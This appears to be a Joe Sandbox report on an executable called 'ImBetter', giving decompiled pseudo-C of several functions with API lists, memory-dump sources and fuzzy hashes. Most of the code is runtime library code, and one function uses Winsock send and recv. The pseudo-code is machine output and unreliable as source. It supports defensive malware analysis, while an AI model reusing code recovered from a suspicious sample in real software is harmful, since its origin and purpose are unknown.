				long long _v128;
				signed int _v136;
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t107;
				long _t116;
				signed int _t117;
				void* _t122;
				signed int _t128;
				intOrPtr _t146;
				intOrPtr _t147;
				void* _t168;
				signed long long _t181;
				signed long long _t185;
				signed long long _t188;
				signed long long _t207;
				signed int _t208;
				void* _t209;
				void* _t211;
				void* _t227;
				signed long long _t228;
				signed short* _t229;
				void* _t230;
				signed short* _t231;

				_t122 = __ebx;
				r15d = r8d;
				_t185 = __r9;
				_t229 = __rdx;
				if (r8d == 0) goto 0xe6b2e6c9;
				if (__rdx != 0) goto 0xe6b2e433;
				 *((char*)(__r9 + 0x38)) = 1;
				r8d = 0;
				 *((intOrPtr*)(__r9 + 0x34)) = 0;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				r9d = 0;
				_v128 = __r9;
				_v136 = _t208;
				E00007FF77FF7E6B258C4(__rax, __r9, __rcx, __rdx, _t209, _t211, __r8);
				goto 0xe6b2e6cb;
				_t188 = __ecx >> 6;
				_v120 = _t188;
				_t228 = __ecx + __ecx * 8;
				if (_t209 - 1 - 1 > 0) goto 0xe6b2e469;
				if (( !r15d & 0x00000001) == 0) goto 0xe6b2e3fc;
				if (( *( *((intOrPtr*)(0xe6b6cdb0 + _t188 * 8)) + 0x38 + _t228 * 8) & 0x00000020) == 0) goto 0xe6b2e47f;
				r8d = 0x7ff7e6b6cdb2;
				0xe6b32150();
				_v96 = _t208;
				if (E00007FF77FF7E6B37CB0(r12d, __ecx) == 0) goto 0xe6b2e5b5;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _v120 * 8)) + 0x38 + _t228 * 8)) - dil >= 0) goto 0xe6b2e5b5;
				if ( *((intOrPtr*)(__r9 + 0x28)) != dil) goto 0xe6b2e4c6;
				E00007FF77FF7E6B28660( *((intOrPtr*)(0xe6b6cdb0 + _v120 * 8)), __r9, __r9, _v120, _t209);
				if ( *((intOrPtr*)( *((intOrPtr*)(__r9 + 0x18)) + 0x138)) != _t208) goto 0xe6b2e4e2;
				_t181 =  *((intOrPtr*)(0xe6b6cdb0 + _v120 * 8));
				if ( *((intOrPtr*)(_t181 + 0x39 + _t228 * 8)) == dil) goto 0xe6b2e5b5;
				if (GetConsoleMode(??, ??) == 0) goto 0xe6b2e5aa;
				if (sil == 0) goto 0xe6b2e587;
				sil = sil - 1;
				if (sil - 1 > 0) goto 0xe6b2e64e;
				_t227 = _t229 + _t230;
				_v112 = _t208;
				_t231 = _t229;
				if (_t229 - _t227 >= 0) goto 0xe6b2e644;
				_v80 =  *_t231 & 0x0000ffff;
				_t107 = E00007FF77FF7E6B37D10( *_t231 & 0xffff);
				_t128 = _v80 & 0x0000ffff;
				if (_t107 != _t128) goto 0xe6b2e579;
				_t146 = _v108 + 2;
				_v108 = _t146;
				if (_t128 != 0xa) goto 0xe6b2e56a;
				if (E00007FF77FF7E6B37D10(0xd) != 0xd) goto 0xe6b2e579;
				_t147 = _t146 + 1;
				_v108 = _t147;
				if ( &(_t231[1]) - _t227 >= 0) goto 0xe6b2e644;
				goto 0xe6b2e52a;
				_v112 = GetLastError();
				goto 0xe6b2e644;
				r9d = r15d;
				_v136 = __r9;
				E00007FF77FF7E6B2D9F0(0xd, r12d, _t147, __r9,  &_v112, _t229);
				asm("movsd xmm0, [eax]");
				goto 0xe6b2e649;
				if ( *((intOrPtr*)( *((intOrPtr*)(0xe6b6cdb0 + _v120 * 8)) + 0x38 + _t228 * 8)) - dil >= 0) goto 0xe6b2e611;
				_t168 = sil;
				if (_t168 == 0) goto 0xe6b2e5fd;
				if (_t168 == 0) goto 0xe6b2e5e9;
				if (_t147 - 1 != 1) goto 0xe6b2e659;
				r9d = r15d;
				E00007FF77FF7E6B2DF80(_t122, r12d, _t181, _t185,  &_v112, _t211, _t229);
				goto 0xe6b2e59e;
				r9d = r15d;
				E00007FF77FF7E6B2E09C(r12d,  *((intOrPtr*)(_t181 + 8)), _t181, _t185,  &_v112, _t211, _t229);
				goto 0xe6b2e59e;
				r9d = r15d;
				E00007FF77FF7E6B2DE7C(_t122, r12d, _t181, _t185,  &_v112, _t211, _t229);
				goto 0xe6b2e59e;
				r8d = r15d;
				_v136 = _v136 & _t181;
				_v112 = _t181;
				_v104 = 0;
				if (WriteFile(??, ??, ??, ??, ??) != 0) goto 0xe6b2e641;
				_t116 = GetLastError();
				_v112 = _t116;
				asm("movsd xmm0, [ebp-0x30]");
				asm("movsd [ebp-0x20], xmm0");
				if (_t116 != 0) goto 0xe6b2e6c2;
				_t117 = _v96;
				if (_t117 == 0) goto 0xe6b2e698;
				if (_t117 != 5) goto 0xe6b2e688;
				 *((char*)(_t185 + 0x30)) = 1;
				 *((intOrPtr*)(_t185 + 0x2c)) = 9;
				 *((char*)(_t185 + 0x38)) = 1;
				 *(_t185 + 0x34) = _t117;
				goto 0xe6b2e42b;
				_t207 = _t185;
				E00007FF77FF7E6B29CA0(_v96, _t207);
				goto 0xe6b2e42b;
				if (( *( *((intOrPtr*)(0xe6b6cdb0 + _t207 * 8)) + 0x38 + _t228 * 8) & 0x00000040) == 0) goto 0xe6b2e6aa;
				if ( *_t229 == 0x1a) goto 0xe6b2e6c9;
				 *(_t185 + 0x34) =  *(_t185 + 0x34) & 0x00000000;
				 *((char*)(_t185 + 0x30)) = 1;
				 *((intOrPtr*)(_t185 + 0x2c)) = 0x1c;
				 *((char*)(_t185 + 0x38)) = 1;
				goto 0xe6b2e42b;
				goto 0xe6b2e6cb;
				return 0;
			}

0x7ff7e6b2e3cc
0x7ff7e6b2e3e2
0x7ff7e6b2e3e8
0x7ff7e6b2e3eb
0x7ff7e6b2e3f1
0x7ff7e6b2e3fa
0x7ff7e6b2e3fc
0x7ff7e6b2e401
0x7ff7e6b2e404
0x7ff7e6b2e40a
0x7ff7e6b2e411
0x7ff7e6b2e419
0x7ff7e6b2e41c
0x7ff7e6b2e421
0x7ff7e6b2e426
0x7ff7e6b2e42e
0x7ff7e6b2e443
0x7ff7e6b2e447
0x7ff7e6b2e44b
0x7ff7e6b2e45e
0x7ff7e6b2e467
0x7ff7e6b2e46f
0x7ff7e6b2e476
0x7ff7e6b2e47a
0x7ff7e6b2e482
0x7ff7e6b2e498
0x7ff7e6b2e4a7
0x7ff7e6b2e4b1
0x7ff7e6b2e4b6
0x7ff7e6b2e4d1
0x7ff7e6b2e4d3
0x7ff7e6b2e4dc
0x7ff7e6b2e4f7
0x7ff7e6b2e500
0x7ff7e6b2e506
0x7ff7e6b2e50d
0x7ff7e6b2e513
0x7ff7e6b2e517
0x7ff7e6b2e51b
0x7ff7e6b2e521
0x7ff7e6b2e531
0x7ff7e6b2e535
0x7ff7e6b2e53a
0x7ff7e6b2e541
0x7ff7e6b2e543
0x7ff7e6b2e546
0x7ff7e6b2e54d
0x7ff7e6b2e561
0x7ff7e6b2e563
0x7ff7e6b2e565
0x7ff7e6b2e571
0x7ff7e6b2e577
0x7ff7e6b2e57f
0x7ff7e6b2e582
0x7ff7e6b2e587
0x7ff7e6b2e58a
0x7ff7e6b2e599
0x7ff7e6b2e59e
0x7ff7e6b2e5a5
0x7ff7e6b2e5be
0x7ff7e6b2e5c2
0x7ff7e6b2e5c5
0x7ff7e6b2e5ca
0x7ff7e6b2e5cf
0x7ff7e6b2e5d5
0x7ff7e6b2e5e2
0x7ff7e6b2e5e7
0x7ff7e6b2e5e9
0x7ff7e6b2e5f6
0x7ff7e6b2e5fb
0x7ff7e6b2e5fd
0x7ff7e6b2e60a
0x7ff7e6b2e60f
0x7ff7e6b2e61c
0x7ff7e6b2e61f
0x7ff7e6b2e627
0x7ff7e6b2e62b
0x7ff7e6b2e636
0x7ff7e6b2e638
0x7ff7e6b2e63e
0x7ff7e6b2e644
0x7ff7e6b2e649
0x7ff7e6b2e663
0x7ff7e6b2e665
0x7ff7e6b2e66a
0x7ff7e6b2e66f
0x7ff7e6b2e671
0x7ff7e6b2e675
0x7ff7e6b2e67c
0x7ff7e6b2e680
0x7ff7e6b2e683
0x7ff7e6b2e68b
0x7ff7e6b2e68e
0x7ff7e6b2e693
0x7ff7e6b2e6a2
0x7ff7e6b2e6a8
0x7ff7e6b2e6aa
0x7ff7e6b2e6ae
0x7ff7e6b2e6b2
0x7ff7e6b2e6b9
0x7ff7e6b2e6bd
0x7ff7e6b2e6c7
0x7ff7e6b2e6db

APIs

GetConsoleMode.KERNEL32(?,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00007FF7E6B4AF75,?,00007FF7E6B010FC,?), ref: 00007FF7E6B2E4EF
GetLastError.KERNEL32(?,?,?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00007FF7E6B4AF75,?,00007FF7E6B010FC,?), ref: 00007FF7E6B2E579

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: dfed2691903e5deaf977cfbc6e1bfdfa1d5fb046903259aab99fc596a697c058
Instruction ID: 7e27df172e27b450748c6317378970fa37a1897de95ba62852b5579348dd9f64
Opcode Fuzzy Hash: dfed2691903e5deaf977cfbc6e1bfdfa1d5fb046903259aab99fc596a697c058
Instruction Fuzzy Hash: 4E91E962E3469285F750EB669C803BEB7E1BB44788FA40137DE1E57694DF38D442C722

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B02AF0 Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00007FF77FF7E6B02AF0(signed int __ebx, int __ecx, void* __edi, void* __esp, long long __rbx, intOrPtr* __rcx, long long __rdx, long long __rbp) {
				void* _v52;
				signed long long _v56;
				signed int _v68;
				signed long long _v72;
				signed long long _v76;
				intOrPtr _v84;
				void* _v88;
				char _v100;
				signed int _v112;
				signed char _v116;
				signed int _v132;
				void* __rsi;
				signed int _t53;
				void* _t66;
				signed long long _t89;
				signed short* _t100;
				intOrPtr _t102;
				signed short* _t109;
				signed long long _t116;
				signed long long _t123;
				intOrPtr* _t133;
				void* _t139;
				signed long long _t140;
				void* _t147;
				signed long long _t149;
				void* _t151;
				void* _t152;
				signed int* _t153;
				void* _t155;

				_t147 = _t139;
				 *((long long*)(_t147 + 0x18)) = __rbx;
				 *((long long*)(_t147 + 0x20)) = __rbp;
				_push(_t149);
				_t140 = _t139 - 0x70;
				_t89 =  *0xe6b6bbc0; // 0x7a937e77a598
				_v56 = _t89 ^ _t140;
				_t133 = __rdx;
				 *((long long*)(_t147 - 0x60)) = __rdx;
				r12d = 0;
				r15d = r12d;
				 *(_t147 - 0x64) = r12d;
				asm("xorps xmm0, xmm0");
				asm("movups [esp+0x40], xmm0");
				 *(_t147 - 0x48) = _t149;
				 *((long long*)(_t147 - 0x40)) = 7;
				 *(_t147 - 0x58) = r12w;
				_t153 = __rcx + 0x10;
				_t116 =  *_t153;
				if (_t116 != 0) goto 0xe6b02b5b;
				 *(_t147 - 0x48) = _t116;
				 *(_t140 + 0x40 + _t116 * 2) = r12w;
				goto 0xe6b02b96;
				if (_t116 - 7 > 0) goto 0xe6b02b7d;
				_v72 = _t116;
				memset(__edi, r12w & 0xffffffff, __ecx);
				 *(_t140 + 0x40 + _t116 * 2) = r12w;
				goto 0xe6b02b96;
				_v132 = r12w;
				r8d = _v116 & 0x000000ff;
				E00007FF77FF7E6B030D0(0, __edi + __ecx, __esp + 0xc, __rcx,  &_v100, _t116, __rdx, __rbp, _t116, _t151);
				_t118 =  >=  ? _v100 :  &_v100;
				if ( *((long long*)(__rcx + 0x18)) - 8 < 0) goto 0xe6b02bc3;
				_t100 =  *((intOrPtr*)(__rcx));
				goto 0xe6b02bc7;
				_t109 =  &(_t100[ *_t153]);
				if (_t100 == _t109) goto 0xe6b02c02;
				_t119 = ( >=  ? _v100 :  &_v100) - _t100;
				_t53 =  *_t100 & 0x0000ffff;
				_t54 =  ==  ? 0x2f : _t53;
				 *((short*)(_t100 + ( >=  ? _v100 :  &_v100) - _t100)) =  ==  ? 0x2f : _t53;
				if ( &(_t100[1]) != _t109) goto 0xe6b02be0;
				_t137 =  >=  ? _v100 :  &_v100;
				_t102 = _v84;
				r14d = E00007FF77FF7E6B43294(0);
				asm("xorps xmm0, xmm0");
				asm("movups [esi], xmm0");
				 *(_t133 + 0x10) = _t149;
				 *((long long*)(_t133 + 0x18)) = 0xf;
				 *_t133 = 0;
				r15d = r15d | 0x00000004;
				_v112 = r15d;
				if (_t102 == 0) goto 0xe6b02ca5;
				if (_t102 - 0x7fffffff > 0) goto 0xe6b02d12;
				_v132 = r12d;
				r9d = 0;
				r8d = __ebx;
				if (E00007FF77FF7E6B43304(_t55,  >=  ? _v100 :  &_v100, _t133,  >=  ? _v100 :  &_v100, _t116, _t155) != 0) goto 0xe6b02d18;
				r8d = 0;
				E00007FF77FF7E6B03470(_t56, _t133, 0x2f);
				if ( *((long long*)(_t133 + 0x18)) - 0x10 < 0) goto 0xe6b02c8b;
				_v132 = 0x2f;
				r8d = __ebx;
				if (E00007FF77FF7E6B43304(r14d, _t137, _t133, _t137,  *_t133, _t152) != 0) goto 0xe6b02d20;
				_t123 = _v76;
				if (_t123 - 8 < 0) goto 0xe6b02ce3;
				_t111 = _v100;
				if (2 + _t123 * 2 - 0x1000 < 0) goto 0xe6b02cde;
				if (_v100 -  *((intOrPtr*)(_t111 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b02d0c;
				return E00007FF77FF7E6B3C7F0(E00007FF77FF7E6B3CAF0(_t66,  *((intOrPtr*)(_t111 - 8))), r14d, _v68 ^ _t140);
			}

0x7ff7e6b02af0
0x7ff7e6b02af3
0x7ff7e6b02af7
0x7ff7e6b02afd
0x7ff7e6b02b03
0x7ff7e6b02b07
0x7ff7e6b02b11
0x7ff7e6b02b16
0x7ff7e6b02b1c
0x7ff7e6b02b20
0x7ff7e6b02b23
0x7ff7e6b02b26
0x7ff7e6b02b2a
0x7ff7e6b02b2d
0x7ff7e6b02b32
0x7ff7e6b02b36
0x7ff7e6b02b3e
0x7ff7e6b02b43
0x7ff7e6b02b47
0x7ff7e6b02b4d
0x7ff7e6b02b4f
0x7ff7e6b02b53
0x7ff7e6b02b59
0x7ff7e6b02b5f
0x7ff7e6b02b61
0x7ff7e6b02b72
0x7ff7e6b02b75
0x7ff7e6b02b7b
0x7ff7e6b02b7d
0x7ff7e6b02b86
0x7ff7e6b02b91
0x7ff7e6b02ba9
0x7ff7e6b02bb5
0x7ff7e6b02bba
0x7ff7e6b02bc1
0x7ff7e6b02bc3
0x7ff7e6b02bca
0x7ff7e6b02bcc
0x7ff7e6b02be0
0x7ff7e6b02be7
0x7ff7e6b02beb
0x7ff7e6b02bf6
0x7ff7e6b02c0b
0x7ff7e6b02c0f
0x7ff7e6b02c19
0x7ff7e6b02c1c
0x7ff7e6b02c1f
0x7ff7e6b02c22
0x7ff7e6b02c26
0x7ff7e6b02c2e
0x7ff7e6b02c31
0x7ff7e6b02c35
0x7ff7e6b02c3d
0x7ff7e6b02c46
0x7ff7e6b02c4c
0x7ff7e6b02c51
0x7ff7e6b02c54
0x7ff7e6b02c6a
0x7ff7e6b02c73
0x7ff7e6b02c79
0x7ff7e6b02c86
0x7ff7e6b02c8b
0x7ff7e6b02c8f
0x7ff7e6b02ca3
0x7ff7e6b02ca5
0x7ff7e6b02cae
0x7ff7e6b02cb8
0x7ff7e6b02cc7
0x7ff7e6b02cdc
0x7ff7e6b02d0b

APIs

__std_fs_code_page.LIBCPMT ref: 00007FF7E6B02C14
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF7E6B02C5C
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF7E6B02C98

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: __std_fs_convert_wide_to_narrow$__std_fs_code_page
String ID:
API String ID: 3645842244-0
Opcode ID: a2d21bf7aa04a7448e66973c1172f7e8a92786a2682272946329535c1d0d8767
Instruction ID: 844befa08a3f1b388ebb69d6f45f7e7eca644a97e1ca6f6efeae96c19fb99c3e
Opcode Fuzzy Hash: a2d21bf7aa04a7448e66973c1172f7e8a92786a2682272946329535c1d0d8767
Instruction Fuzzy Hash: 3C51D16272878182EB20AF12E84476EF7A1FB84BC4FA44232EA9D07B95DF3DD441C711

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B4A5E4 Relevance: 6.2, APIs: 4, Instructions: 159
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E00007FF77FF7E6B4A5E4(signed int __edx, void* __eflags, intOrPtr* __rax, long long __rbx, signed char* __rcx, long long __rbp, long long _a8, char _a16, long long _a24) {
				signed int _t43;
				signed int _t57;
				signed int _t73;
				void* _t96;
				signed int _t106;

				_a8 = __rbx;
				_a24 = __rbp;
				 *__rcx = 0;
				r14d = r9d;
				_t73 = __edx;
				if (__eflags == 0) goto 0xe6b4a659;
				if (__eflags == 0) goto 0xe6b4a635;
				if ((__edx & 0x00000003) - 1 == 1) goto 0xe6b4a62e;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b4a65e;
				goto 0xe6b4a65e;
				asm("sbb ecx, ecx");
				goto 0xe6b4a65e;
				__rcx[4] = 0x80000000;
				_t43 = _t73 & 0x00000700;
				if ((dil & 0x00000008) == 0) goto 0xe6b4a6cd;
				if (_t43 == 0x100) goto 0xe6b4a6c6;
				if (_t43 == 0x200) goto 0xe6b4a6bf;
				if (_t43 == 0x300) goto 0xe6b4a6b8;
				if (_t43 == 0x400) goto 0xe6b4a6cd;
				if (_t43 == 0x500) goto 0xe6b4a6b1;
				if (_t43 == 0x600) goto 0xe6b4a6bf;
				_t96 = _t43 - 0x700;
				if (_t96 == 0) goto 0xe6b4a6b1;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b4a6d2;
				goto 0xe6b4a6d2;
				goto 0xe6b4a6d2;
				goto 0xe6b4a6d2;
				goto 0xe6b4a6d2;
				__rcx[8] = 3;
				if (_t96 == 0) goto 0xe6b4a723;
				if (_t96 == 0) goto 0xe6b4a71c;
				if (_t96 == 0) goto 0xe6b4a715;
				if (_t96 == 0) goto 0xe6b4a70e;
				if (r8d - 0xffffffffffffffe0 == 0x40) goto 0xe6b4a700;
				E00007FF77FF7E6B29CE4(__rax);
				 *__rax = 0x16;
				E00007FF77FF7E6B25994();
				goto 0xe6b4a725;
				sil = __rcx[4] == 0x80000000;
				goto 0xe6b4a725;
				goto 0xe6b4a725;
				goto 0xe6b4a725;
				goto 0xe6b4a725;
				__rcx[0x14] = __rcx[0x14] & 0x00000000;
				__rcx[0xc] = 0;
				__rcx[0x10] = 0x80;
				if (dil >= 0) goto 0xe6b4a73b;
				 *__rcx =  *__rcx | 0x00000010;
				if ((0x00008000 & _t73) != 0) goto 0xe6b4a763;
				if ((_t73 & 0x00074000) != 0) goto 0xe6b4a760;
				if (E00007FF77FF7E6B458E8(__rax,  &_a16) != 0) goto 0xe6b4a7d8;
				if (_a16 == 0x8000) goto 0xe6b4a763;
				 *__rcx =  *__rcx | 0x00000080;
				if ((0x00000100 & _t73) == 0) goto 0xe6b4a782;
				_t57 =  !( *0xe6b6e064) & r14d;
				if (_t57 < 0) goto 0xe6b4a782;
				__rcx[0x10] = 1;
				_t106 = dil & 0x00000040;
				if (_t106 == 0) goto 0xe6b4a796;
				asm("bts dword [ebx+0x14], 0x1a");
				asm("bts dword [ebx+0x4], 0x10");
				__rcx[0xc] = __rcx[0xc] | 0x00000004;
				asm("bt edi, 0xc");
				if (_t106 >= 0) goto 0xe6b4a79f;
				__rcx[0x10] = __rcx[0x10] | 0x00000100;
				asm("bt edi, 0xd");
				if (_t106 >= 0) goto 0xe6b4a7aa;
				asm("bts dword [ebx+0x14], 0x19");
				if ((dil & 0x00000020) == 0) goto 0xe6b4a7b7;
				asm("bts dword [ebx+0x14], 0x1b");
				goto 0xe6b4a7c2;
				if ((dil & 0x00000010) == 0) goto 0xe6b4a7c2;
				asm("bts dword [ebx+0x14], 0x1c");
				return _t57;
			}

0x7ff7e6b4a5e4
0x7ff7e6b4a5e9
0x7ff7e6b4a5f9
0x7ff7e6b4a5fe
0x7ff7e6b4a604
0x7ff7e6b4a60e
0x7ff7e6b4a613
0x7ff7e6b4a618
0x7ff7e6b4a61a
0x7ff7e6b4a61f
0x7ff7e6b4a625
0x7ff7e6b4a62c
0x7ff7e6b4a633
0x7ff7e6b4a649
0x7ff7e6b4a657
0x7ff7e6b4a660
0x7ff7e6b4a668
0x7ff7e6b4a66a
0x7ff7e6b4a671
0x7ff7e6b4a678
0x7ff7e6b4a67f
0x7ff7e6b4a686
0x7ff7e6b4a68d
0x7ff7e6b4a694
0x7ff7e6b4a696
0x7ff7e6b4a698
0x7ff7e6b4a69a
0x7ff7e6b4a69f
0x7ff7e6b4a6a5
0x7ff7e6b4a6af
0x7ff7e6b4a6b6
0x7ff7e6b4a6bd
0x7ff7e6b4a6c4
0x7ff7e6b4a6cb
0x7ff7e6b4a6d2
0x7ff7e6b4a6d8
0x7ff7e6b4a6dd
0x7ff7e6b4a6e2
0x7ff7e6b4a6e7
0x7ff7e6b4a6ec
0x7ff7e6b4a6ee
0x7ff7e6b4a6f3
0x7ff7e6b4a6f9
0x7ff7e6b4a6fe
0x7ff7e6b4a708
0x7ff7e6b4a70c
0x7ff7e6b4a713
0x7ff7e6b4a71a
0x7ff7e6b4a721
0x7ff7e6b4a725
0x7ff7e6b4a729
0x7ff7e6b4a72c
0x7ff7e6b4a736
0x7ff7e6b4a738
0x7ff7e6b4a742
0x7ff7e6b4a74a
0x7ff7e6b4a758
0x7ff7e6b4a75e
0x7ff7e6b4a760
0x7ff7e6b4a76a
0x7ff7e6b4a774
0x7ff7e6b4a779
0x7ff7e6b4a77b
0x7ff7e6b4a782
0x7ff7e6b4a786
0x7ff7e6b4a788
0x7ff7e6b4a78d
0x7ff7e6b4a792
0x7ff7e6b4a796
0x7ff7e6b4a79a
0x7ff7e6b4a79c
0x7ff7e6b4a79f
0x7ff7e6b4a7a3
0x7ff7e6b4a7a5
0x7ff7e6b4a7ae
0x7ff7e6b4a7b0
0x7ff7e6b4a7b5
0x7ff7e6b4a7bb
0x7ff7e6b4a7bd
0x7ff7e6b4a7d7

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A625
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A6A5
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E6B4A6F9
_get_daylight.LIBCMT ref: 00007FF7E6B4A751

Memory Dump Source

Source File: 00000000.00000002.298409330.00007FF7E6B01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7E6B00000, based on PE: true

Associated: 00000000.00000002.298405408.00007FF7E6B00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298446741.00007FF7E6B4F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298464669.00007FF7E6B6B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.298469796.00007FF7E6B6F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e6b00000_ImBetter.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_get_daylight
String ID:
API String ID: 72036449-0
Opcode ID: 94a1c518f117c539d0d4f7e685549d67c8fbbb76ec029e11afefc86612b802a2
Instruction ID: fada1758b5de417e3b7ad222e88d96ca3718af6a86fa452664365317d7ef3f0b
Opcode Fuzzy Hash: 94a1c518f117c539d0d4f7e685549d67c8fbbb76ec029e11afefc86612b802a2
Instruction Fuzzy Hash: 3C51A132D2C26246F7797A289C1137BF6A0AB40714FB94037D64D4A2DEEF3CE8409663

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E6B0BBE5 Relevance: 6.1, APIs: 4, Instructions: 103
networkCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00007FF77FF7E6B0BBE5(long long __rbx, void* __rdx, intOrPtr* __rdi, long long __rsi, char _a32, intOrPtr _a64, intOrPtr _a88, void* _a112, signed int _a4208) {
				intOrPtr _t23;
				void* _t26;
				void* _t28;
				void* _t29;
				intOrPtr* _t55;
				intOrPtr _t76;
				intOrPtr _t82;
				intOrPtr _t85;
				long long _t90;
				signed long long _t92;

				_t90 = __rsi;
				_t55 = __rbx;
				if (__rdx + 1 - 0x1000 < 0) goto 0xe6b0bc12;
				if (_a32 -  *((intOrPtr*)(_a32 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0bd74;
				E00007FF77FF7E6B3CAF0(_t29,  *((intOrPtr*)(_a32 - 8)));
				asm("movdqa xmm0, [0x55921]");
				asm("movdqu [esp+0x30], xmm0");
				_a32 = 0;
				_t76 = _a88;
				if (_t76 - 0x10 < 0) goto 0xe6b0bc67;
				if (_t76 + 1 - 0x1000 < 0) goto 0xe6b0bc62;
				if (_a64 -  *((intOrPtr*)(_a64 - 8)) + 0xfffffff8 - 0x1f > 0) goto 0xe6b0bd7a;
				_t23 = E00007FF77FF7E6B3CAF0(_t29,  *((intOrPtr*)(_a64 - 8)));
				if ( *((long long*)(__rbx + 0x18)) - 0x10 < 0) goto 0xe6b0bc74;
				r9d = 0;
				r8d =  *((intOrPtr*)(__rbx + 0x10));
				__imp__#19();
				r8d = 0x1000;
				E00007FF77FF7E6B3EA30();
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t23 <= 0) goto 0xe6b0bcc1;
				E00007FF77FF7E6B0DDC0(_t23, __rbx, __rsi);
				0xe6b0a220();
				_t82 =  *((intOrPtr*)(_t55 + 0x18));
				if (_t82 - 0x10 < 0) goto 0xe6b0bcf7;
				if (_t82 + 1 - 0x1000 < 0) goto 0xe6b0bcf2;
				if ( *_t55 -  *((intOrPtr*)( *_t55 - 8)) - 8 - 0x1f > 0) goto 0xe6b0bd68;
				E00007FF77FF7E6B3CAF0(_t23,  *((intOrPtr*)( *_t55 - 8)));
				 *((long long*)(_t55 + 0x10)) = _t90;
				 *((long long*)(_t55 + 0x18)) = 0xf;
				 *_t55 = sil;
				_t85 =  *((intOrPtr*)(__rdi + 0x18));
				if (_t85 - 0x10 < 0) goto 0xe6b0bd3e;
				if (_t85 + 1 - 0x1000 < 0) goto 0xe6b0bd39;
				if ( *__rdi -  *((intOrPtr*)( *__rdi - 8)) - 8 - 0x1f > 0) goto 0xe6b0bd6e;
				_t26 = E00007FF77FF7E6B3CAF0(_t23,  *((intOrPtr*)( *__rdi - 8)));
				 *((long long*)(__rdi + 0x10)) = _t90;
				 *((long long*)(__rdi + 0x18)) = 0xf;
				 *((char*)(__rdi)) = 0;
				return E00007FF77FF7E6B3C7F0(_t26, _t28, _a4208 ^ _t92);
			}

0x7ff7e6b0bbe5
0x7ff7e6b0bbe5
0x7ff7e6b0bbf7
0x7ff7e6b0bc0c
0x7ff7e6b0bc12
0x7ff7e6b0bc17
0x7ff7e6b0bc1f
0x7ff7e6b0bc25
0x7ff7e6b0bc2a
0x7ff7e6b0bc33
0x7ff7e6b0bc47
0x7ff7e6b0bc5c
0x7ff7e6b0bc62
0x7ff7e6b0bc6f
0x7ff7e6b0bc74
0x7ff7e6b0bc77
0x7ff7e6b0bc7e
0x7ff7e6b0bc86
0x7ff7e6b0bc91
0x7ff7e6b0bc96
0x7ff7e6b0bc99
0x7ff7e6b0bca7
0x7ff7e6b0bcaf
0x7ff7e6b0bcb3
0x7ff7e6b0bcbb
0x7ff7e6b0bcc1
0x7ff7e6b0bcc9
0x7ff7e6b0bcd8
0x7ff7e6b0bced
0x7ff7e6b0bcf2
0x7ff7e6b0bcf9
0x7ff7e6b0bcfd
0x7ff7e6b0bd05
0x7ff7e6b0bd08
0x7ff7e6b0bd10
0x7ff7e6b0bd1f
0x7ff7e6b0bd34
0x7ff7e6b0bd39
0x7ff7e6b0bd3e
0x7ff7e6b0bd42
0x7ff7e6b0bd4a
0x7ff7e6b0bd67

APIs

send.WS2_32 ref: 00007FF7E6B0BC7E
recv.WS2_32 ref: 00007FF7E6B0BCA7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7E6B0BD74
